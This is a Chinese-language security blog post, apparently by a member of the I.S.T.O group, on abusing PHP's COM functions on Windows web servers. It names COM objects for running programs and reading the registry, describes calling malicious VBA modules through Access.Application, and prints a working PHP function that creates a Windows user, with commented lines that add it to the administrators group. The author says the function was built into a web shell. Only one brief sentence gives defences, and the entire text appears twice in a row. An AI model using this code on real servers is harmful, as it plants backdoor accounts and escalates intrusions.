一般情况下PHP默认安装都是会支持COM函数的
PHP原本设计的这个都是为了建设在windows平台的PHP脚本,能更好的跟COM/COM+交互 例如读取EXCEL WORD 操作ADO
(最新的PHP5还可以直接支持.NET库~又是一大对安全的挑战)
但是这样也给架设在windows平台的PHP站点带来安全隐患,早期我们知道采用
COM("shell.application") COM("WScript.Shell") 可以实现文件执行,读取注册表功能
但是通常管理员都会反注册了这些比较危险性的DLL,其实这样并代表问题的解决,
COM函数除了这些之外,还可以直接调用ActiveX exe文件,大家要是有留意官方的文档就知道,
直接采用 $access=COM("Access.Application") 这样子就可以取得一个Access 的实例,对于正常用户这样当然没有什么问题了,
但是对于一些恶意利用者就不同了,大家应该知道Access 里面可以创建模块 而模块中可以自定义函数方法等.
编写这些代码的语言都是采用VBA,对于VBA大家非常熟悉了吧!在VBA中有"免费"的内置函数使用
例如 shell执行程序,Delete删除文件,copy拷贝文件
有了这些 我们就可以创建一个恶意模块,采用$access来调用里面的方法 过程等~这样的跳转攻击恐怖吧~!
为什么MS一开始设计ASP的时候没有允许调用ActiveX exe,就是出于很多安全问题而考虑的(这个是我的猜想)
也有很多服务器没有安装office办公软件,这样就能逃避过灾难吗?答案当然是否定的!
在早期的PWS/IIS中 ASP调用WINDOWS内置对象来添加用户这个漏洞可为危害极其大啊!之后MS IIS5以后恶补了...
但是我们采用PHP的COM函数也一样可以使用~
看以下代码
//转载请注明出处
//by nonamed(kj021320) ----I.S.T.O
function adduser($struser,$strpassword,$strGroup){
//$thegroup=new COM("WinNT://./".$strGroup.",group");
$computer=new COM("WinNT://.");
$theuser=$computer->Create("user",$struser);
$theuser->SetPassword($strpassword);
$theuser->SetInfo() or die("add user fail");
echo "add user success";
//$user=new COM("WinNT://./".$struser.",user"); //添加用户到管理员组
//$thegroup->Add($user->ADsPath()) or die("add to $strGroup group fail");
//echo "add to administrators group success";
}
没想到吧? 其实解决这样的安全问题有多种方式:把apache设置的php以模块方式运行并限制权限,把php.ini配置文件里面的
com.allow_dcom 禁止 这样用户就不能调用COM函数了!这个方法有好有坏~ 其实还有很多方式的!主要是看管理员的安全意识(其实以上资料早在I.S.T.O小组内部交流了,而且添加到了小组内部的phpshell中,只是今天才发表出来)
PHP原本设计的这个都是为了建设在windows平台的PHP脚本,能更好的跟COM/COM+交互 例如读取EXCEL WORD 操作ADO
(最新的PHP5还可以直接支持.NET库~又是一大对安全的挑战)
但是这样也给架设在windows平台的PHP站点带来安全隐患,早期我们知道采用
COM("shell.application") COM("WScript.Shell") 可以实现文件执行,读取注册表功能
但是通常管理员都会反注册了这些比较危险性的DLL,其实这样并代表问题的解决,
COM函数除了这些之外,还可以直接调用ActiveX exe文件,大家要是有留意官方的文档就知道,
直接采用 $access=COM("Access.Application") 这样子就可以取得一个Access 的实例,对于正常用户这样当然没有什么问题了,
但是对于一些恶意利用者就不同了,大家应该知道Access 里面可以创建模块 而模块中可以自定义函数方法等.
编写这些代码的语言都是采用VBA,对于VBA大家非常熟悉了吧!在VBA中有"免费"的内置函数使用
例如 shell执行程序,Delete删除文件,copy拷贝文件
有了这些 我们就可以创建一个恶意模块,采用$access来调用里面的方法 过程等~这样的跳转攻击恐怖吧~!
为什么MS一开始设计ASP的时候没有允许调用ActiveX exe,就是出于很多安全问题而考虑的(这个是我的猜想)
也有很多服务器没有安装office办公软件,这样就能逃避过灾难吗?答案当然是否定的!
在早期的PWS/IIS中 ASP调用WINDOWS内置对象来添加用户这个漏洞可为危害极其大啊!之后MS IIS5以后恶补了...
但是我们采用PHP的COM函数也一样可以使用~
看以下代码
//转载请注明出处
//by nonamed(kj021320) ----I.S.T.O
function adduser($struser,$strpassword,$strGroup){
//$thegroup=new COM("WinNT://./".$strGroup.",group");
$computer=new COM("WinNT://.");
$theuser=$computer->Create("user",$struser);
$theuser->SetPassword($strpassword);
$theuser->SetInfo() or die("add user fail");
echo "add user success";
//$user=new COM("WinNT://./".$struser.",user"); //添加用户到管理员组
//$thegroup->Add($user->ADsPath()) or die("add to $strGroup group fail");
//echo "add to administrators group success";
}
没想到吧? 其实解决这样的安全问题有多种方式:把apache设置的php以模块方式运行并限制权限,把php.ini配置文件里面的
com.allow_dcom 禁止 这样用户就不能调用COM函数了!这个方法有好有坏~ 其实还有很多方式的!主要是看管理员的安全意识(其实以上资料早在I.S.T.O小组内部交流了,而且添加到了小组内部的phpshell中,只是今天才发表出来)